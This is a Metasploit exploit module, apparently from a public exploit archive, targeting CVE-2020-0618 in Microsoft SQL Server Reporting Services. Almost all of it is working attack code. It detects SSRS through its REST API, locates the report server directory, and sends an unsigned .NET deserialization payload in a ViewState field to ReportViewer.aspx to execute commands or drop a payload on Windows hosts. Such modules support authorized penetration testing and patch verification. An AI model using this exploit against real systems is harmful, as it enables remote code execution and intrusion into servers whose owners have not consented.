Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SQL Server Reporting Services (SSRS) ViewState Deserialization',  
'Description' => %q{  
A vulnerability exists within Microsoft's SQL Server Reporting Services  
which can allow an attacker to craft an HTTP POST request with a  
serialized object to achieve remote code execution. The vulnerability is  
due to the fact that the serialized blob is not signed by the server.  
},  
'Author' => [  
'Soroush Dalili', # discovery and original PoC  
'Spencer McIntyre' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2020-0618'],  
['URL', 'https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/'],  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows (x86)', { 'Arch' => ARCH_X86, 'Type' => :windows_dropper } ],  
[ 'Windows (x64)', { 'Arch' => ARCH_X64, 'Type' => :windows_dropper } ],  
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ]  
],  
'DefaultTarget' => 1,  
'DisclosureDate' => '2020-02-11',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],  
'Reliability' => [ REPEATABLE_SESSION, ],  
},  
'Privileged' => true,  
))  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/Reports' ]),  
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION' ]),  
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),  
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])  
])  
register_advanced_options([  
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),  
])  
end  
  
def send_api_request(*parts)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api', 'v1.0', *parts),  
'headers' => {  
'Accept' => 'application/json',  
},  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
})  
if res&.code == 200 && res.headers['Content-Type'].strip.start_with?('application/json;')  
return res.get_json_document  
end  
end  
  
def check  
json_response = send_api_request('ReportServerInfo', 'Model.SiteName')  
return CheckCode::Unknown unless json_response && json_response['value'] == 'SQL Server Reporting Services'  
CheckCode::Detected  
end  
  
def exploit  
fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected  
  
json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')  
fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?  
directory = json_response['value']  
vprint_status("Detected the report server virtual directory as: #{directory}")  
  
state = {vd: directory}  
if target['Type'] == :windows_command  
execute_command(payload.encoded, state: state)  
else  
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first  
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})  
end  
end  
  
def execute_command(cmd, opts)  
state = opts[:state]  
viewstate = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(cmd))  
  
res = send_request_cgi({  
'uri' => normalize_uri(state[:vd], 'Pages', 'ReportViewer.aspx'),  
'method' => 'POST',  
'vars_post' => {  
'NavigationCorrector$PageState' => 'NeedsCorrection',  
'NavigationCorrector$ViewState' => viewstate,  
'__VIEWSTATE' => ''  
},  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
})  
  
unless res&.code == 200  
print_error('Non-200 HTTP response received while trying to execute the command')  
end  
  
end  
end